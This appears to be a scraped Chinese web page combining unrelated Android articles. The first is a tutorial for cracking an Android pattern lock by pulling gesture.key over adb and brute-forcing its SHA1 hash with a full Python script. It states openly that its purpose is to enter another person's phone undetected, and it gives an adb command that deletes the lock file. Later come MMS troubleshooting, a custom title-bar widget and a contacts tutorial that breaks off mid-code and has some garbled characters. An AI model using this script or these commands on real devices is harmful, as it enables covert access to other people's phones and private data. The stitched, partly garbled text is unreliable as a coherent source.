破解安卓手机上的九宫格锁方法步骤

 更新时间:2016年9月20日 19:57  点击:4183
很多用安卓智能手机的朋友是用九宫格锁屏,网上也有暴力删除手机图形锁的方法,不过我们可以用程序来破解。本文只提供技术学习,不能干坏事

安卓手机的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。本文我们来看看另外一种破解方法。

前提条件:手机需要root,而且打开调试模式。一般来讲,如果用过诸如“豌豆荚手机助手”、“360手机助手”一类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root。

原理分析

首先科普一下,安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知,每个点都有其编号,组成了一个3×3的矩阵,形如:

12300 01 02

03 04 05

06 07 08

假如设定解锁图形为一个“L”形,如图:


那么这几个点的排列顺序是这样的:00 03 06 07 08。系统就记下来了这一串数字,然后将这一串数字(以十六进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:


用WinHex等十六进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd411427973574695230458f0,如图:


当你下次解锁的时候,系统就对比你画的图案,看对应的数字串是不是0003060708对应的加密结果。如果是,就解锁;不是就继续保持锁定。那么,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是 15120,6个点的话60480,7个点181440,8个点362880,9个点362880。总共是985824种可能性(但这么计算并不严密,因为同一条直线上的点只能和他们相邻的点相连)。

满打满算,也不到985824种可能性。乍一看很大,但在计算机面前,穷举出来这些东西用不了几秒钟。

破解过程

知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置,生成00-09的排列组合)。

主要流程为:

1.ADB连接手机,获取gesture.key文件

2.读取key文件,存入字符串str_A

3.生成全部可能的数字串

4.对这些数字串进行加密,得到字符串str_B

5.将字符串str_A与str_B进行对比

6.如果字符串A,B相同,则说明数字串num就是想要的解锁顺序

7.打印出数字串num


下面为程序:
    
# -*- coding: cp936 -*-
import itertools
import hashlib
import time
import os
 
#调用cmd,ADB连接到手机,读取SHA1加密后的字符串
os.system("adb pull /data/system/gesture.key gesture.key")
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
f.close()
pswd_hex=pswd.encode('hex')
print '加密后的密码为:%s'%pswd_hex
 
#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
matrix=[]
for i in range(0,9):
    str_temp = '0'+str(i)
    matrix.append(str_temp)
 
#将00——08的字符进行排列,至少取4个数排列,最多全部进行排列
 
min_num=4
max_num=len(matrix)
 
for num in range(min_num,max_num+1):#从04 -> 08
    iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
    list_m=[]
    list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中
    for el in list_m[0]:#遍历这n个数字的全部排列
        strlist=''.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708
        strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
        if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
            print '解锁密码为:',strlist

总结

从程序本身来说,得到解锁密码后应该用break跳出循环并终止程序运行。但Python并没有跳出多重循环的语句,如果要跳出多重循环,只能设置标志位然后不停进行判定。为了运行速度就略去了“跳出循环”这个步骤。(有没有更好的实现跳出多重循环的方法?)另外也略去了很多容错语句。从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后“adb rm /data/system/gesture.key”删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。但本文开篇假设的是“为了不被察觉地进入到别人的手机里”,所以就有了这篇文章。

最后提一个安全小建议:如果手机已root,还要用“XX手机助手”,还想设置图形锁的话——在手机“设置”选项里,有一个“锁定状态下取消USB调试模式”(这个名字因手机而异,而且有的有此选项,有的手机就没有),开启此功能之后,在手机锁定状态下就能够防范此类攻击了。此文技术原理很简单,还望各位大大传授些高大上的Python编程技巧。

LG手机为什么收发彩信不成功?安卓手机无法正常收发彩信的原因有很多,万一出现该问题后,请先按照小编提供的检测方法一一排除,如果还不行的请送至售后维修。

  现象

  安卓手机无法收发彩信

  解决

  1. 手机支持彩信功能,但需要网络运营商支持才可以使用(手机卡需开通彩信业务)。

  2. 如已开通,建议查看手机是否可以上网,建议在菜单【设置】无线和网络移动网络已启用数据勾选开启上网功能尝试。

  3. 如上网正常,可能接受彩信文件过大,建议用手机编辑一条彩信发送到自己的手机上查看是否正常。

  4. 如接受自己发的正常,则手机彩信功能正常;如还是无法接收,建议换其他电话卡尝试。

  5. 仍旧无法正常使用,建议进入菜单【设置】无线和网络(更多)移动网络接入点名称 点触左下角菜单 重置默认网络,然后重启手机。

  6. 仍旧不能实现可以建议设置一下彩信参数(一般不需要设置),建议备份数据恢复出厂设置,在手机点击软件更新升级或进入 LG官网升级尝试。

  7. 排查以上仍不正常,建议送检。

本文我们来学习一下在android开发中组合多个控件实现自定义标题栏,然后再封装起来,可以让每个布局调用。

    这里我们采用经典的左中右布局,也可以根据项目需要自行调整,比如在右侧再加一个控件,或者将标题偏左都可以

注:其中应用到了上一篇文章中的ButtonM控件,大家可以先简单了解一下。

还是先来看一下效果图:

 

下面来看代码实现,共四个文件两个java类,两个布局文件

1 TitleBarM.java


package landptf.control;

import android.content.Context;
import android.graphics.Color;
import android.util.AttributeSet;
import android.util.TypedValue;
import android.view.View;
import android.widget.RelativeLayout;
import android.widget.TextView;
/**
 * 继承RelativeLayout,自定义标题栏
 * @author landptf
 * @date 2015-6-10
 */
public class TitleBarM extends RelativeLayout{
    private Context context;
    //定义三个控件,
    private ButtonM btnLeft;
    private TextView tvTitle;
    private ButtonM btnRight;
    //定义左侧控件的接口
    private OnClickListenerL onClickListenerL = null;
    //定义右侧控件的接口
    private OnClickListenerR onClickListenerR = null;
    
    public interface OnClickListenerL{
        //定义一个方法
        public void onClick(View v);
    }
    
    public interface OnClickListenerR{
        //定义一个方法
        public void onClick(View v);
    }

    /**
     * 为左侧控件绑定事件
     * @param onClickListenerL
     */
    public void setOnClickLisenerL(OnClickListenerL onClickListenerL) {
        this.onClickListenerL = onClickListenerL;
    }
    
    /**
     * 为右侧控件绑定事件
     * @param onClickListenerR
     */
    public void setOnClickLisenerR(OnClickListenerR onClickListenerR) {
        this.onClickListenerR = onClickListenerR;
    }

    public TitleBarM(Context context) {
        this(context, null);
    }
    
    public TitleBarM(Context context, AttributeSet attrs) {
        this(context, attrs,0);
    }

    public TitleBarM(Context context, AttributeSet attrs, int defStyle) {
        super(context, attrs, defStyle);
        this.context = context;
        //设置RelativeLayout的布局
        setLayoutParams(new LayoutParams(LayoutParams.MATCH_PARENT,LayoutParams.MATCH_PARENT));
        //设置默认的背景色
        setBackgroundColor(Color.parseColor("#B674D2"));
        init();
    }

    private void init() {
        //初始化左侧ButtonM
        btnLeft = new ButtonM(context);
        RelativeLayout.LayoutParams lp=new RelativeLayout.LayoutParams(LayoutParams.WRAP_CONTENT,LayoutParams.WRAP_CONTENT);
        //垂直居中
        lp.addRule(RelativeLayout.CENTER_VERTICAL);
        //设置距离左侧10dp
        lp.leftMargin = dp2px(context, 10);
        btnLeft.setLayoutParams(lp);
        btnLeft.setTextSize(16);//设置字体大小,默认为16
        btnLeft.setTextColori(Color.WHITE);//默认字体颜色为白色
        btnLeft.setTextColorSelected("#909090");//按下后的字体颜色
        //定义其点击事件
        btnLeft.setOnClickListener(new OnClickListener() {
            @Override
            public void onClick(View v) {
                if (onClickListenerL != null) {
                    onClickListenerL.onClick(v);
                }
            }
        });
        //初始化中间标题控件
        tvTitle = new TextView(context);
        lp=new RelativeLayout.LayoutParams(LayoutParams.WRAP_CONTENT,LayoutParams.WRAP_CONTENT);
        //使其处于父控件的中间位置,也有一些APP的标题偏左,可根据项目需要自行调整,也可动态设置
        lp.addRule(RelativeLayout.CENTER_IN_PARENT);
        tvTitle.setLayoutParams(lp);
        //设置标题文字颜色
        tvTitle.setTextColor(Color.WHITE);
        //设置标题文字大小
        tvTitle.setTextSize(18);//默认为18
        //初始化右侧ButtonM
        btnRight = new ButtonM(context);
        lp=new RelativeLayout.LayoutParams(LayoutParams.WRAP_CONTENT,LayoutParams.WRAP_CONTENT);
        lp.rightMargin = dp2px(context, 10);
        //垂直居中
        lp.addRule(RelativeLayout.CENTER_VERTICAL);
        //居于父控件的右侧
        lp.addRule(RelativeLayout.ALIGN_PARENT_RIGHT);
        btnRight.setLayoutParams(lp);
        btnRight.setTextSize(16);//默认有16
        btnRight.setVisibility(View.GONE); //默认隐藏右侧控件
        btnRight.setTextColori(Color.WHITE);
        btnRight.setTextColorSelected("#909090");
        btnRight.setOnClickListener(new OnClickListener() {
            @Override
            public void onClick(View v) {
                if (onClickListenerR != null) {
                    onClickListenerR.onClick(v);
                }
            }
        });
        
        //分别将三个控件加入到容器中
        addView(btnLeft);
        addView(tvTitle);
        addView(btnRight);
    }

    /**
     * 设置标题栏的背景色 ,String
     * @param backColors
     */
    public void setBackColor(String backColors) {
        setBackgroundColor(Color.parseColor(backColors));
    }

    /**
     * 设置标题栏的背景色 ,int
     * @param backColori
     */
    public void setBackColor(int backColori) {
        setBackgroundColor(backColori);
    }

    /**
     * 设置左侧控件显示的文字
     * @param leftText
     */
    public void setLeftText(String leftText) {
        btnLeft.setText(leftText);
    }

    /**
     * 设置左侧控件的背景图
     * @param leftBackImage
     */
    public void setLeftBackImage(int leftBackImage) {
        if (leftBackImage != 0) {
            btnLeft.setBackGroundImage(leftBackImage);
        }
    }

    /**
     * 设置左侧控件选中的背景图
     * @param leftBackImageSeleted
     */
    public void setLeftBackImageSeleted(int leftBackImageSeleted) {
        if (leftBackImageSeleted != 0) {
            btnLeft.setBackGroundImageSeleted(leftBackImageSeleted);
        }
    }

    /**
     * 设置左侧控件显示属性,默认为显示
     * @param leftVisible
     */
    public void setLeftVisible(boolean leftVisible) {
        btnLeft.setVisibility(leftVisible ? View.VISIBLE : View.GONE);
    }

    /**
     * 设置左侧控件显示的字体大小
     * @param leftTextSize
     */
    public void setLeftTextSize(float leftTextSize) {
        btnLeft.setTextSize(leftTextSize);
    }
    
    /**
     * 设置中间控件显示属性,默认为显示
     * @param leftVisible
     */
    public void setTitleVisible(boolean titleVisible) {
        tvTitle.setVisibility(titleVisible ? View.VISIBLE : View.GONE);
    }

    /**
     * 设置中间控件的文字
     * @param titleText
     */
    public void setTitleText(String titleText) {
        tvTitle.setText(titleText);
    }

    /**
     * 设置中间控件的文字的大小
     * @param titleTextSize
     */
    public void setTitleTextSize(float titleTextSize) {
        tvTitle.setTextSize(titleTextSize);
    }
    
    /**
     * 设置右侧控件显示的文字
     * @param leftText
     */
    public void setRightText(String rightText) {
        btnRight.setText(rightText);
    }

    /**
     * 设置右侧控件的背景图
     * @param leftBackImage
     */
    public void setRightBackImage(int rightBackImage) {
        if (rightBackImage != 0) {
            btnRight.setBackGroundImage(rightBackImage);
        }
    }

    /**
     * 设置右侧控件选中的背景图
     * @param leftBackImageSeleted
     */
    public void setRightBackImageSeleted(int rightBackImageSeleted) {
        if (rightBackImageSeleted != 0) {
            btnRight.setBackGroundImageSeleted(rightBackImageSeleted);
        }
    }

    /**
     * 设置右侧控件显示的字体大小
     * @param leftTextSize
     */
    public void setRightTextSize(float rightTextSize) {
        btnRight.setTextSize(rightTextSize);
    }
    
    /**
     * 设置右侧控件显示属性,默认为隐藏
     * @param leftVisible
     */
    public void setRightVisible(boolean rightVisible) {
        btnRight.setVisibility(rightVisible ? View.VISIBLE : View.GONE);
    }
    
    //定义一个私有方法dp2px
    private int dp2px(Context context, float dpVal) {
        return (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP,
                dpVal, context.getResources().getDisplayMetrics());
    }
}



以上定义了一些public方法,可根据具体项目需求扩展或减少。

2 child_titlebarm.xml 这里将标题栏单独写成一个布局文件,在其他布局文件中直接include即可

 


<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="50dp"
    android:orientation="vertical" >
    
    <landptf.control.TitleBarM
        android:id="@+id/tbm_title"
        android:layout_width="match_parent"
        android:layout_height="match_parent" >
    </landptf.control.TitleBarM>

</LinearLayout>



这里标题栏的高低默认设成50dp

3 activity_titlebar.xml


<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:ignore="HardcodedText" >

    <include
        android:id="@+id/title"
        layout="@layout/child_titlebarm" />

    <TextView
        android:id="@+id/tv_content"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerInParent="true"
        android:text="测试标题栏"
        android:textSize="20sp" />

</RelativeLayout>



里面比较简单只include一个child_titlebarm.xml,又定义一个TextView就不做特别说明
4 TitleBarMActivity.java


package landptf.control;

import landptf.control.TitleBarM.OnClickListenerL;
import landptf.control.TitleBarM.OnClickListenerR;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;

/**
 * TitleBarM测试类
 * @author landptf
 * @date 2015-6-10
 */
public class TitleBarMActivity extends Activity{
    private TitleBarM tbTitle;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_titlebarm);
        initView();
    }

    private void initView() {
        //初始化控件
        tbTitle = (TitleBarM) findViewById(R.id.tbm_title);
        //先来设置一个背景色,当然你也可以用默认的背景色
        tbTitle.setBackColor("#7067E2");
        //设置左侧文字显示文字,也可设置背景图
        tbTitle.setLeftText("返回");
        //设置左侧控件点击事件
        tbTitle.setOnClickLisenerL(new OnClickListenerL() {
            @Override
            public void onClick(View v) {
                Toast.makeText(TitleBarMActivity.this, "你点击了返回", Toast.LENGTH_SHORT).show();
            }
        });
        //设置中间的标题
        tbTitle.setTitleText("landptf");
        //由于我们将右侧的控件默认为隐藏,在此显示出来
        tbTitle.setRightVisible(true);
        //设置右侧的控件的背景图,这里找了两张搜索的图片
        tbTitle.setRightBackImage(R.drawable.title_search);
        tbTitle.setRightBackImageSeleted(R.drawable.title_search_selected);
        tbTitle.setOnClickLisenerR(new OnClickListenerR() {
            @Override
            public void onClick(View v) {
                Toast.makeText(TitleBarMActivity.this, "你点击了搜索", Toast.LENGTH_SHORT).show();
            }
        });
    }
}



以上便是全部代码,其中使用了上一篇文章中介绍的ButtonM控件,大家也可以根据自己的需要使用其他控件实现。

这里只提供一种思路,不足之处互相交流学习。

Content Provider,是移动数据业务内容提供商,Android中的Content provider机制可支持在多个应用中存储和读取数据,这也是跨应用共享数据的方式之一。

我们都知道ContentProvider是用来共享数据的,然而android本身就提供了大量的ContentProvider,例如联系人信息,系统的多媒体信息等,这些系统的ContentProvider都提供了供其他应用程序访问的Uri,开发者可以通过ContentResolver来调用系统的ContentProvider提供的insert()/update()/delete()/query()方法,从而实现自己的需求。

1、了解系统联系人的结构

(1)android系统对联系人管理提供了很多的Uri,其中用到最多的几个如下:

  ContactsContract.Contacts.CONTENT_URI:管理联系人的Uri

  ContactsContract.CommonDataKinds.Phone.CONTENT_URI:管理联系人电话的Uri

  ContactsContract.CommonDataKinds.Email.CONTENT_URI:管理联系人邮箱的Uri

  ContactsContract.CommonDataKinds.StructuredPostal.CONTENT_URI:管理联系人地址的Uri

  我们可以根据系统提供的这些Uri去操作系统联系人信息,具体的还有很多CONTENT_URI,可以到ContactsContract.class文件中去查看源码。

(2)表结构

  我们之前说过,ContentProvider是以表的形式来存放这些数据的,系统联系人也是这样,一般存放在data/data/com.android.providers.contacts/databases/contacts2.db中,我们可以通过adb shell命令行的方式来看,也可以将这个contacts2.db文件导出,通过sqlite工具来查看,这里为了方便我们导出来看一下。

找到对应的文件,然后选中点击右上角的导出按钮,将文件导出到系统中的某一个地方

 


将导出的文件用工具打开,我这里使用的是:Navicat Premium

表和视图:

 


我们经常用的到有:contacts、data、raw_contacts三张表:

contacts表:

  _id :表的ID,主要用于其它表通过contacts 表中的ID可以查到相应的数据。
  display_name: 联系人名称
  photo_id:头像的ID,如果没有设置联系人头像,这个字段就为空
  times_contacted:通话记录的次数
  last_time_contacted: 最后的通话时间
  lookup :是一个持久化的储存 因为用户可能会改名子 但是它改不了lookup


data表:

  raw_contact_id:通过raw_contact_id可以找到 raw_contact表中相对的数据。

  data1 到 data15 这里保存着联系人的信息 联系人名称 联系人电话号码 电子邮件 备注 等等


raw_contacts表:

   version :版本号,用于监听变化
  deleted :删除标志, 0为默认 1 表示这行数据已经删除
  display_name : 联系人名称
  last_time_contacts : 最后联系的时间


 【说明:由于这些表的字段都特别多,截图不全,可以自己试着导出一份看看】

2、代码实现

(1)首先要在AndroidManifest.xml文件中配置对系统联系人的读写权限:

<!-- 添加操作联系人的权限 -->
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.WRITE_CONTACTS" />

(2)布局文件

  首先是列表展示页面:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical" >

    <TextView
        android:layout_width="fill_parent"
        android:layout_height="50dp"
        android:gravity="center_vertical"
        android:text="我的联系人"
        android:textSize="25dp" />

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal"
        android:background="@android:color/darker_gray" >

        <TextView
            android:id="@+id/id"
            android:layout_width="0dp"
            android:layout_height="30dp"
            android:layout_weight="1"
            android:text="ID"
            android:gravity="center" />

        <TextView
            android:id="@+id/name"
            android:layout_width="0dp"
            android:layout_height="30dp"
            android:layout_weight="1"
            android:text="姓名"
            android:gravity="center" />

        <TextView
            android:id="@+id/phone"
            android:layout_width="0dp"
            android:layout_height="30dp"
            android:layout_weight="1"
            android:text="手机号码"
            android:gravity="center" />
        
    </LinearLayout>

    <ListView
        android:id="@+id/listview"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:layout_gravity="center"
        android:divider="#FF0000"
        android:dividerHeight="1dp"
        android:focusable="true"
        android:minHeight="40dp"
        android:footerDividersEnabled="false" >
    </ListView>

</LinearLayout>

  列表展示中需要用的listview页面布局:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="horizontal" >
    
    <TextView
        android:id="@+id/id"
        android:layout_width="0dp"
        android:layout_weight="1"
        android:gravity="center"
        android:layout_height="40dp"
        />
    <TextView
        android:id="@+id/name"
        android:layout_width="0dp"
        android:layout_weight="1"
        android:gravity="center"
        android:layout_height="40dp"
        />
    <TextView
        android:id="@+id/phone"
        android:layout_width="0dp"
        android:layout_weight="1"
        android:gravity="center"
        android:layout_height="40dp"
        />

</LinearLayout>

  添加联系人界面:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical" >

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="50dp"
        android:layout_gravity="center"
        android:orientation="horizontal" >

        <TextView
            android:layout_width="100dp"
            android:layout_height="wrap_content"
            android:layout_marginRight="20dp"
            android:gravity="center_vertical|right"
            android:text="姓名:"
            android:textSize="20dp" />

        <EditText
            android:id="@+id/name"
            android:layout_width="match_parent"
            android:layout_height="wrap_content" />
    </LinearLayout>

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="50dp"
        android:layout_gravity="center"
        android:orientation="horizontal" >

        <TextView
            android:layout_width="100dp"
            android:layout_height="wrap_content"
            android:gravity="center_vertical|right"
            android:layout_marginRight="20dp"
            android:text="手机号码:"
            android:textSize="20dp" />

        <EditText
            android:id="@+id/phone"
            android:layout_width="match_parent"
            android:layout_height="wrap_content" />
    </LinearLayout>
    
     <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="50dp"
        android:layout_gravity="center"
        android:gravity="center"
        android:orientation="horizontal" >
        
         <Button
             android:id="@+id/save"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
             android:text="保存"
             android:textSize="20sp"
             />
         
          <Button
             android:id="@+id/cancel"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
             android:text="取消"
             android:layout_marginLeft="30dp"
             android:textSize="20sp"
             />
         </LinearLayout>

</LinearLayout>

  联系人详细界面:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:layout_marginBottom="10dp"
    android:layout_marginLeft="10dp"
    android:layout_marginRight="10dp"
    android:layout_marginTop="10dp"
    android:background="@android:color/darker_gray" >

    <TextView
        android:id="@+id/tv_name"
        android:layout_width="80dp"
        android:layout_height="wrap_content"
        android:layout_marginTop="20dp"
        android:background="@android:color/white"
        android:gravity="center_vertical|right"
        android:text="姓名:"
        android:textSize="20sp" />

    <TextView
        android:id="@+id/et_name"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignTop="@+id/tv_name"
        android:layout_toRightOf="@+id/tv_name"
        android:background="@android:color/white"
        android:gravity="center_vertical"
        android:text=""
        android:textSize="20sp" />

    <TextView
        android:id="@+id/tv_phone"
        android:layout_width="80dp"
        android:layout_height="wrap_content"
        android:layout_below="@+id/tv_name"
        android:layout_marginTop="20dp"
        android:background="@android:color/white"
        android:gravity="center_vertical|right"
        android:text="手机号:"
        android:textSize="20sp" />

    <TextView
        android:id="@+id/et_phone"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignTop="@+id/tv_phone"
        android:layout_toRightOf="@+id/tv_phone"
        android:background="@android:color/white"
        android:gravity="center_vertical"
        android:text=""
        android:textSize="20sp" />

    <TextView
        android:id="@+id/tv_email"
        android:layout_width="80dp"
        android:layout_height="wrap_content"
        android:layout_below="@+id/tv_phone"
        android:layout_marginTop="20dp"
        android:background="@android:color/white"
        android:gravity="center_vertical|right"
        android:text="Email:"
        android:textSize="20sp" />

    <TextView
        android:id="@+id/et_email"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignTop="@+id/tv_email"
        android:layout_toRightOf="@+id/tv_email"
        android:background="@android:color/white"
        android:gravity="center_vertical"
        android:text=""
        android:textSize="20sp" />

    <TextView
        android:id="@+id/tv_address"
        android:layout_width="80dp"
        android:layout_height="wrap_content"
        android:layout_below="@+id/tv_email"
        android:layout_marginTop="20dp"
        android:background="@android:color/white"
        android:gravity="center_vertical|right"
        android:text="地址:"
        android:textSize="20sp" />

    <TextView
        android:id="@+id/et_address"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_alignTop="@+id/tv_address"
        android:layout_toRightOf="@+id/tv_address"
        android:background="@android:color/white"
        android:gravity="center_vertical"
        android:text=""
        android:textSize="20sp" />

</RelativeLayout>

  程序中需要用的menu菜单配置在menu文件中:


<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android" >
    <group android:id="@+id/group1">
        <item android:id="@+id/detail" android:title="详情"></item>
        <item android:id="@+id/update" android:title="修改"></item>
        <item android:id="@+id/delete" android:title="删除"></item>
    </group>
    
</menu>


(3)Activity代码:

  列表页面以及适配器Adapter

ContactsActivity.java

package com.demo.contentprovider;

import java.util.ArrayList;

import android.app.Activity;
import android.app.AlertDialog;
import android.content.ContentResolver;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.ListView;
import android.widget.PopupMenu;
import android.widget.PopupMenu.OnMenuItemClickListener;
import android.widget.Toast;

import com.demo.adapter.ContactsAdapter;
import com.demo.model.Contact;

/**
 * 手机联系人操作
 * @author yinbenyang
 */
public class ContactsActivity extends Activity {

    private static final int ADD = 0;

    private static final int REQUEST_ADD = 100;

    // 存储联系人的列表
    private ArrayList<Contact> contactList = null;
    // 联系人适配器
    private ContactsAdapter adapter;

    private ListView listview;

    // 弹出式菜单
    public PopupMenu popupmenu = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.contentprovider);
        listview = (ListView) findViewById(R.id.listview);
        init();
        listview.setOnItemLongClickListener(new OnItemLongClickListenerImpl());
        // registerForContextMenu(listview);
    }

    // ----------------------------------------------------选项菜单---------------------------------------------------
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // TODO Auto-generated method stub
        menu.add(0, ADD, 0, "添加");
        return super.onCreateOptionsMenu(menu);
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        // TODO Auto-generated method stub
        switch (item.getItemId()) {
        case ADD:
            Intent intent = new Intent(this, AddContactActivity.class);
            startActivityForResult(intent, REQUEST_ADD);
            break;
        default:
            break;
        }
        return true;
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        // TODO Auto-generated method stub
        switch (requestCode) {
        case REQUEST_ADD:
            init();
            break;
        default:
            break;
        }
        super.onActivityResult(requestCode, resultCode, data);
    }

    // 初始化,获取联系人
    private void init() {
        ContentResolver resolver = getContentResolver();
        /**
         * ContactsContract.Contacts.CONTENT_URI:手机联系人的Uri:content://com.android
         * .contacts/contacts
         * sort_key_alt:它里面保存的是联系人名字的拼音字母,例如联系人名字是“李明”,则sort_key保存的是“LI李MING明”,
         * 这样如果是按sort_key或sort_key_alt排序的话,就可以将联系人按顺序排列
         */
        Cursor cursor = resolver.query(ContactsContract.Contacts.CONTENT_URI,
                null, null, null, "sort_key_alt");
        contactList = new ArrayList<Contact>();
        while (cursor.moveToNext()) {
            Contact contact = new Contact();
            String phoneNumber = null;
            String name = cursor.getString(cursor
                    .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            String id = cursor.getString(cursor
                    .getColumnIndex(ContactsContract.Contacts._ID));
            Cursor phoneCursor = resolver.query(
                    ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                    ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
                            + id, null, null);
            while (phoneCursor.moveToNext()) {
                phoneNumber = phoneCursor
                        .getString(phoneCursor
                                .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
            }
            contact.setId(Integer.parseInt(id));
            contact.setName(name);
            contact.setPhone(phoneNumber);
            contactList.add(contact);
        }
        adapter = new ContactsAdapter(this, contactList);
        listview.setAdapter(adapter);
    }

    private class OnItemLongClickListenerImpl implements
            OnItemLongClickListener {

        @Override
        public boolean onItemLongClick(AdapterView<?> parent, View view,
                final int position, long id) {
            final ContentResolver resolver = getContentResolver();
            popupmenu = new PopupMenu(ContactsActivity.this, listview);
            popupmenu.getMenuInflater().inflate(R.menu.my_menu,
                    popupmenu.getMenu());
            popupmenu.setOnMenuItemClickListener(new OnMenuItemClickListener() {
                @Override
                public boolean onMenuItemClick(MenuItem item) {
                    switch (item.getItemId()) {
                    case R.id.detail:
                        String id = contactList.get(position).getId() + "";
                        Intent intent = new Intent(ContactsActivity.this,
                                ContactDetailActivity.class);
                        intent.putExtra("id", id);
                        startActivity(intent);
                        break;
                    case R.id.update:
                        Toast.makeText(ContactsActivity.this, "执行修改操作",
                                Toast.LENGTH_SHORT).show();
                        break;
                    case R.id.delete:
                        new AlertDialog.Builder(ContactsActivity.this)
                                .setTitle("?h除联系人")
                                .setMessage("你确定要删除该联系人吗?")
                                .setPositiveButton("确定", new OnClickListener() {
                                    @Override
                                    public void onClick(DialogInterface dialog,
                                            int which) {
                                        int i = resolver
                                                .delete(ContactsContract.RawContacts.CONTENT_URI,
                                                        ContactsContract.Data._ID
                                                                + " = "
                                                                + contactList
                                                                        .get(position)
                                                                        .getId(),
                                                        null);
                                        Toast.makeText(ContactsActivity.this,
                                                i == 1 ? "?h除成功!" : "?h除失?。?quot;,
                                                Toast.LENGTH_SHORT).show();
                                        init();
                                    }
                                })
                                .setNegativeButton("取消", new OnClickListener() {
                                    @Override
                                    public void onClick(DialogInterface dialog,
                                            int which) {
                                        dialog.dismiss();
                                    }
                                }).create().show();
                        break;
                    default:
                        break;
                    }
                    // Toast.makeText(ContactsActivity.this,
                    // "你点击了:" + item.getTitle(), Toast.LENGTH_SHORT)
                    // .show();
                    // popupmenu.dismiss();
                    return true;
                }
            });
            popupmenu.show();
            return true;
        }
    }
}

/**
 * <!-- 联系人相关的uri --> content://com.android.contacts/contacts 操作的数据是联系人信息Uri
 * content://com.android.contacts/data/phones 联系人电话Uri
 * content://com.android.contacts/data/emails 联系人Email Uri
 */

ContactsAdapter.java

package com.demo.adapter;

import java.util.ArrayList;

import android.content.Context;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;

import com.demo.contentprovider.R;
import com.demo.model.Contact;

/**
 * 联系人的Adapter
 *
 * @author yinbenyang
 */
public class ContactsAdapter extends BaseAdapter {

    private Context context;
    private ArrayList<Contact> listContact;

    public ContactsAdapter(Context context, ArrayList<Contact> listContact) {
        this.context = context;
        this.listContact = listContact;
    }

    @Override
    public int getCount() {
        return listContact.size();
    }

    @Override
